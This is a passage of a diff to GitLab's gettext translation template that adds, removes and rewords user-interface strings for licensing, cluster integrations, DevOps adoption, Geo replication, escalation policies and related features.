-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7134,6 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -7176,12 +7261,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7344,6 +7423,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7428,9 +7510,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7491,7 +7570,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7587,9 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7602,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7701,9 +7774,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7842,9 +7912,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7857,9 +7924,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -8133,6 +8197,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8278,6 +8351,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8416,9 +8492,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8539,6 +8612,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8602,6 +8678,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8763,6 +8842,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9445,9 +9527,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9478,9 +9557,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9532,6 +9608,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9583,6 +9662,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9616,6 +9698,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9943,27 +10028,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -10188,9 +10252,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10410,9 +10480,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10780,6 +10847,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11510,22 +11580,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11534,6 +11610,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11561,6 +11640,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11582,6 +11664,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11594,21 +11679,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|Leader usage"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11675,15 +11772,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11711,6 +11808,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11940,7 +12040,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11955,6 +12055,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11964,9 +12082,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -12081,9 +12196,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -12138,6 +12250,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12267,13 +12382,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12351,6 +12466,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12396,9 +12514,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12420,9 +12535,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -13092,9 +13204,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -13107,12 +13216,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -13221,6 +13336,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13282,7 +13445,11 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13927,6 +14094,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13951,9 +14121,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13981,9 +14148,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -14002,9 +14166,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -14047,9 +14208,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -14065,7 +14223,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14318,6 +14476,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14423,6 +14590,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14441,6 +14611,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14468,6 +14641,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14735,6 +14917,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14762,6 +14947,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14789,6 +14977,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14813,6 +15004,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14840,6 +15034,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14885,6 +15082,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14897,10 +15097,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -15065,6 +15271,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -15077,10 +15289,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15326,9 +15541,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15425,16 +15637,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15467,9 +15682,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15524,6 +15736,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15602,7 +15817,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15716,6 +15931,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15776,6 +15994,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15797,13 +16018,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15866,6 +16090,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -16184,9 +16411,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -16223,22 +16447,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16310,7 +16543,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16325,6 +16558,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16337,6 +16573,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16455,9 +16703,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16489,9 +16734,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16576,9 +16818,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16588,9 +16845,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16744,6 +16998,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16996,6 +17253,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -17029,6 +17289,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -17041,9 +17304,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -17056,6 +17328,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
